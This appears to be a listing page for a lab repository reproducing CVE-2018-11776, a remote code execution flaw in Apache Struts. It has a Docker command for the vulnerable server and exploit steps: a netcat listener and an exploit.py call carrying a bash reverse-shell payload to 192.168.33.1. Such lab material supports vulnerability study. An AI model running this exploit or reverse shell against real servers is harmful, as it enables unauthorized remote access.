CVE-2018-11776 PoC — Apache Struts 输入验证错误漏洞

Source

https://github.com/knqyf263/CVE-2018-11776

Associated Vulnerability

Title:Apache Struts 输入验证错误漏洞 (CVE-2018-11776)
Description:Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible Remote Code Execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then: results are used with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn't have value and action set and in same time, its upper package have no or wildcard namespace.

Description

Environment for CVE-2018-11776 / S2-057 (Apache Struts 2)

Readme

# CVE-2018-11776
Environment for CVE-2018-11776 / S2-057

## Demo

![demo](imgs/cve-2018-11776.gif)

## Run server

```
$ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776
```

## Exploit

```
$ nc -l 10000 (or nc -lp 10000)
```

```
$ python3 exploit.py localhost:30080 'bash -i >& /dev/tcp/192.168.33.1/10000  0>&1'
```

File Snapshot

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